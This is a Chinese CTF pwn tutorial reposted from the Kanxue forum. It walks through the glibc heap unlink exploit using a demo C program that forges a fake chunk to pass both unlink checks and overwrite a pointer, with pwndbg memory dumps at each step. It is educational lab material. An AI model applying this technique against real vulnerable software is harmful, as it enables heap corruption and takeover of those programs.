美文网首页CTF-PWN
ctf pwn中的unlink exploit(堆利用)

ctf pwn中的unlink exploit(堆利用)

作者: 看雪学院 | 来源:发表于2018-03-05 18:04 被阅读678次


    unlink简介

    unlink的目的是把一个双向链表中的空闲块拿出来,如图。

    也就是

    设置 P->fd->bk = P->bk.

    设置 P->bk->fd = P->fd.

    unlink时执行的检查

    以前的unlink是没有检查的,很容易利用,不过现在多了两项检查,所以在利用时候要绕过这些检查。

      Function Security Check Error    unlink chunk size是否等于next chunk(内存意义上的)的prev_size corrupted size vs. prev_size  unlink 检查是否P->fd->bk == P 以及 P->bk->fd == P corrupted double-linked list   

    unlink exploit

    准备

    通过一个例子来学习一下,这个例子是Heap Exploitation系列的unlink,为了便于理解,我会用gdb详细的调试一下。

    首先,编译程序,我使用的系统是ubuntu14.04 64位,将下面的示例代码编译出来,带上-g参数。

    sakura@ubuntu:~$ gcc -g unlink.c -o unlink

    unlink.c: In function ‘main’:

    unlink.c:46:3: warning: format ‘%x’ expects argument of type ‘unsigned int’, but argument 2 has type ‘long long unsigned int’ [-Wformat=]

    printf("%x\n", chunk1[3]);

    ^

    #include

    #include

    #include

    #include

    struct chunk_structure {

    size_t prev_size;

    size_t size;

    struct chunk_structure *fd;

    struct chunk_structure *bk;

    char buf[10];              // padding

    };

    int main() {

    unsigned long long *chunk1, *chunk2;

    struct chunk_structure *fake_chunk, *chunk2_hdr;

    char data[20];

    // First grab two chunks (non fast)

    chunk1 = malloc(0x80);

    chunk2 = malloc(0x80);

    printf("%p\n", &chunk1);

    printf("%p\n", chunk1);

    printf("%p\n", chunk2);

    // Assuming attacker has control over chunk1's contents

    // Overflow the heap, override chunk2's header

    // First forge a fake chunk starting at chunk1

    // Need to setup fd and bk pointers to pass the unlink security check

    fake_chunk = (struct chunk_structure *)chunk1;

    fake_chunk->fd = (struct chunk_structure *)(&chunk1 - 3); // Ensures P->fd->bk == P

    fake_chunk->bk = (struct chunk_structure *)(&chunk1 - 2); // Ensures P->bk->fd == P

    // Next modify the header of chunk2 to pass all security checks

    chunk2_hdr = (struct chunk_structure *)(chunk2 - 2);

    chunk2_hdr->prev_size = 0x80;  // chunk1's data region size

    chunk2_hdr->size &= ~1;        // Unsetting prev_in_use bit

    // Now, when chunk2 is freed, attacker's fake chunk is 'unlinked'

    // This results in chunk1 pointer pointing to chunk1 - 3

    // i.e. chunk1[3] now contains chunk1 itself.

    // We then make chunk1 point to some victim's data

    free(chunk2);

    printf("%p\n", chunk1);

    printf("%x\n", chunk1[3]);

    chunk1[3] = (unsigned long long)data;

    strcpy(data, "Victim's data");

    // Overwrite victim's data using chunk1

    chunk1[0] = 0x002164656b636168LL;

    printf("%s\n", data);

    return 0;

    }

    我使用了一个gdb插件pwndbg(应该是插件吧?),需要安装的话。

    git clone https://github.com/pwndbg/pwndbg

    cd pwndbg

    ./setup.sh

    开始调试

    pwndbg> b 20

    Breakpoint 1 at 0x400695: file unlink.c, line 20.

    pwndbg> r

    pwndbg> n

    这样就开始malloc第一个chunk了,返回的地址放在rax里,然后存到栈里。

    继续看第二个chunk的地址

    pwndbg> n

    接下来的三条命令其实就是输出我们刚刚调试出来的chunk地址的,所以过掉就行了,不过可以检查一下我们找的是不是对的。

    pwndbg> b 25

    Breakpoint 2 at 0x4006f3: file unlink.c, line 25.

    pwndbg> c

    Continuing.

    0x7fffffffdd60

    0x602010

    0x6020a0

    然后来详细的说明一下,是怎么unlink exploit的。

    假设攻击者已经控制了chunk1的数据,并且可以溢出到chunk2的元数据。

    因为我们能够控制chunk1的数据,所以当然可以在chunk1里伪造一个chunk出来。

    fake_chunk = (struct chunk_structure *)chunk1;

    我们知道,返回给我们的chunk实际上是mem指针,如下图的mem就是chunk1

    通过将chunk1强制转换为struct chunk_structure结构体,就伪造出了一个chunk。

    相当于

    然后我们看一下此时的chunk1的内存。

    pwndbg> x /10gx 0x602000

    0x602000:    0x0000000000000000 0x0000000000000091

    0x602010:    0x0000000000000000 0x0000000000000000

    0x602020:    0x0000000000000000 0x0000000000000000

    0x602030:    0x0000000000000000 0x0000000000000000

    0x602040:    0x0000000000000000 0x0000000000000000

    再看一下fake_chunk,地址为0xffffcf80,指向0x0804b008(mem)

    pwndbg> p $rbp-0x40

    $1 = (void *) 0x7fffffffdd70

    pwndbg> x /x 0x7fffffffdd70

    0x7fffffffdd70:    0x0000000000602010

    通过检查点1

    接下来要确保chunk->fd->bk == chunk

    fake_chunk->fd = (struct chunk_structure *)(&chunk1 - 3); // Ensures P->fd->bk == P

    如果不熟悉指针加减运算的,可以参考这篇文章&chunk1是指存放chunk1这个被分配出来的heap的地址的栈地址,即0x7fffffffdd60

    pwndbg> stack 10

    00:0000│ rsp  0x7fffffffdd60 —▸ 0x602010 ◂— 0x0

    01:0008│      0x7fffffffdd68 —▸ 0x6020a0 ◂— 0x0

    02:0010│      0x7fffffffdd70 —▸ 0x602010 ◂— 0x0

    03:0018│      0x7fffffffdd78 —▸ 0x40084d (__libc_csu_init+77) ◂— add    rbx, 1

    04:0020│      0x7fffffffdd80 —▸ 0x7fffffffddb0 ◂— 0x0

    05:0028│      0x7fffffffdd88 ◂— 0x0

    06:0030│      0x7fffffffdd90 —▸ 0x400800 (__libc_csu_init) ◂— push  r15

    07:0038│      0x7fffffffdd98 ◂— 0xb7dbaa1d9dced400

    08:0040│      0x7fffffffdda0 —▸ 0x7fffffffde90 ◂— 0x1

    09:0048│      0x7fffffffdda8 ◂— 0x0

    此时的chunk1

    pwndbg> x /10gx 0x602000

    0x602000:    0x0000000000000000 0x0000000000000091

    0x602010:    0x0000000000000000 0x0000000000000000

    0x602020:    0x00007fffffffdd48 0x0000000000000000

    0x602030:    0x0000000000000000 0x0000000000000000

    0x602040:    0x0000000000000000 0x0000000000000000

    接下来要确保chunk->bk->fd == chunk

    fake_chunk->bk = (struct chunk_structure *)(&chunk1 - 2); // Ensures P->bk->fd == P

    此时的chunk1

    pwndbg> x /10gx 0x602000

    0x602000:    0x0000000000000000 0x0000000000000091

    0x602010:    0x0000000000000000<=fake_chunk(mem)    0x0000000000000000

    0x602020:    0x00007fffffffdd48<=fake_chunk->fd    0x00007fffffffdd50<=fake_chunk->bk

    0x602030:    0x0000000000000000 0x0000000000000000

    0x602040:    0x0000000000000000 0x0000000000000000

    我相信到这个时候你已经凌乱了,因为我一开始看到这里的时候也挺凌乱的(因为我指针学的不好emmm..)

    让我们再理一下。

    首先观察一下栈段,我们知道我们的变量都是存在栈上的,chunk1,fake_chunk都是指针,指针的值都是一个表示地址空间中某个存储器单元的整数,这也就是我们说的指向。

    unsigned long long *chunk1, *chunk2;

    struct chunk_structure *fake_chunk, *chunk2_hdr;

    pwndbg> stack 10

    00:0000│ rsp  0x7fffffffdd60 —▸ 0x602010 ◂— 0x0

    01:0008│      0x7fffffffdd68 —▸ 0x6020a0 ◂— 0x0

    02:0010│      0x7fffffffdd70 —▸ 0x602010 ◂— 0x0

    03:0018│      0x7fffffffdd78 —▸ 0x40084d (__libc_csu_init+77) ◂— add    rbx, 1

    04:0020│      0x7fffffffdd80 —▸ 0x7fffffffddb0 ◂— 0x0

    05:0028│      0x7fffffffdd88 ◂— 0x0

    06:0030│      0x7fffffffdd90 —▸ 0x400800 (__libc_csu_init) ◂— push  r15

    07:0038│      0x7fffffffdd98 ◂— 0xb7dbaa1d9dced400

    08:0040│      0x7fffffffdda0 —▸ 0x7fffffffde90 ◂— 0x1

    09:0048│      0x7fffffffdda8 ◂— 0x0

    chunk1=0x602010

    &chunk1=0x7fffffffdd60

    fake_chunk=0x602010

    &fake_chunk=0x7fffffffdd70

    然后我们再看一下fake_chunk->fd,和fake_chunk_bk的值是多少。

    pwndbg> x /10gx 0x602000

    0x602000:    0x0000000000000000 0x0000000000000091

    0x602010:    0x0000000000000000<=fake_chunk(mem)    0x0000000000000000

    0x602020:    0x00007fffffffdd48<=fake_chunk->fd    0x00007fffffffdd50<=fake_chunk->bk

    0x602030:    0x0000000000000000 0x0000000000000000

    0x602040:    0x0000000000000000 0x0000000000000000

    fake_chunk->fd=0x00007fffffffdd48

    fake_chunk->bk=0x00007fffffffdd50

    需要知道的是,fd和bk的类型同样是struct chunk_structure ,也就是说fake->chunk->fd/bk指向的内存也是"*结构体"

    struct chunk_structure *fd;

    struct chunk_structure *bk;

    所以这个指向的"结构体"是这样的。

    pwndbg> x /10gx 0x00007fffffffdd48

    0x7fffffffdd48:    0x00007ffff7ffe1c8->prev_size    0x0000000000000003->size

    0x7fffffffdd58:    0x00000000004006f3->fd    0x0000000000602010->bk

    0x7fffffffdd68:    0x00000000006020a0 0x0000000000602010

    0x7fffffffdd78:    0x000000000040084d 0x00007fffffffddb0

    0x7fffffffdd88:    0x0000000000000000 0x0000000000400800

    所以fake_chunk->fd->bk=0x0000000000602010=chunk1

    而我们知道fake_chunk=chunk1。

    fake_chunk = (struct chunk_structure *)chunk1;

    所以这样就过了chunk->fd->bk==chunk的检查 chunk->bk->fd == chunk也是同理的

    通过检查点2

    然后为了通过检查点chunk size是否等于next chunk(内存意义上的)的prev_size,我们需要修改chunk2的prev_size

    chunk2_hdr = (struct chunk_structure *)(chunk2 - 2);

    chunk2_hdr->prev_size = 0x80;  // chunk1's data region size

    chunk2_hdr->size &= ~1;        // Unsetting prev_in_use bit

    pwndbg> x /10gx 0x602090

    0x602090:    0x0000000000000080 0x0000000000000090

    0x6020a0:    0x0000000000000000 0x0000000000000000

    0x6020b0:    0x0000000000000000 0x0000000000000000

    0x6020c0:    0x0000000000000000 0x0000000000000000

    0x6020d0:    0x0000000000000000 0x0000000000000000

    触发unlink

    当我们free(chunk2)的时候,因为prev_in_use位被置0,代表前一个chunk(也就是我们的fake_chunk)也处于free,连续的空闲堆块合并而进行unlink操作。

    也就是设置

    P->fd->bk = P->bk.

    P->bk->fd = P->fd.

    可以看出fake_chunk->fd->bk和fake_chunk->bk->fd都指向(或者说等于)chunk1,即0x0000000000602010,所以只需要关注第二次操作即可。

    P->fd即fake_chunk->fd=0x00007fffffffdd48

    所以unlink之后,P->bk->fd由0x602010变为0x00007fffffffdd48

    00:0000│ rsp  0x7fffffffdd60 —▸ 0x602010 <=P->bk->fd

    01:0008│      0x7fffffffdd68 —▸ 0x6020a0 ◂— 0x0

    02:0010│      0x7fffffffdd70 —▸ 0x602010 ◂— 0x0

    03:0018│      0x7fffffffdd78 —▸ 0x602090 ◂— 0x80

    04:0020│      0x7fffffffdd80 —▸ 0x7fffffffddb0 ◂— 0x0

    05:0028│      0x7fffffffdd88 ◂— 0x0

    06:0030│      0x7fffffffdd90 —▸ 0x400800 (__libc_csu_init) ◂— push  r15

    07:0038│      0x7fffffffdd98 ◂— 0xb7dbaa1d9dced400

    变为

    00:0000│ rsp  0x7fffffffdd60 —▸ 0x7fffffffdd48 <=P->bk->fd

    01:0008│      0x7fffffffdd68 —▸ 0x6020a0 ◂— 0x0

    02:0010│      0x7fffffffdd70 —▸ 0x602010 ◂— 0x0

    03:0018│      0x7fffffffdd78 —▸ 0x602090 ◂— 0x80

    04:0020│      0x7fffffffdd80 —▸ 0x7fffffffddb0 ◂— 0x0

    05:0028│      0x7fffffffdd88 ◂— 0x0

    06:0030│      0x7fffffffdd90 —▸ 0x400800 (__libc_csu_init) ◂— push  r15

    07:0038│      0x7fffffffdd98 ◂— 0xb7dbaa1d9dced400

    也就是说现在chunk1的值变成了0x7fffffffdd48,chunk1[3]实际上就是chunk1。

    45 printf("%p\n", chunk1);

    46 printf("%x\n", chunk1[3]);

    ...

    pwndbg> b 47

    Breakpoint 3 at 0x400788: file unlink.c, line 47.

    pwndbg> c

    Continuing.

    0x7fffffffdd48

    ffffdd48

    exp

    改变chunk1[3]就是改变chunk1,在本例中, chunk1用于指向变量data并且通过改变chunk1从而影响到了该变量。

    chunk1[3] = (unsigned long long)data;

    可以看出现在chunk1的值已经变成了data的地址0x7fffffffdd80

    00:0000│ rdx rsp  0x7fffffffdd60 —▸ 0x7fffffffdd80 —▸ 0x7fffffffddb0 ◂— 0x0

    改变data的值为Victim's data

    strcpy(data, "Victim's data");

    在内存中查看

    pwndbg> x /s 0x7fffffffdd80

    0x7fffffffdd80:    "Victim's data"

    现在的chunk1已经指向data了,通过给chunk1[0]赋值,其实就是给data赋值。

    chunk1[0] = 0x002164656b636168LL;

    查看内存

    pwndbg> x /s 0x7fffffffdd80

    0x7fffffffdd80:    "hacked!"

    果然已经变了。

    字符串已经变成了hacked!

    pwndbg> n

    hacked!

    不知道这些指针跳来跳去的有没有把你绕晕呢~如果晕了的话就自己调一调吧~

    参考链接

    https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit.html

    本文由看雪论坛 sakura零  原创 转载请注明来自看雪社区

    相关文章

      网友评论

        本文标题:ctf pwn中的unlink exploit(堆利用)

        本文链接:https://www.haomeiwen.com/subject/nzwhfftx.html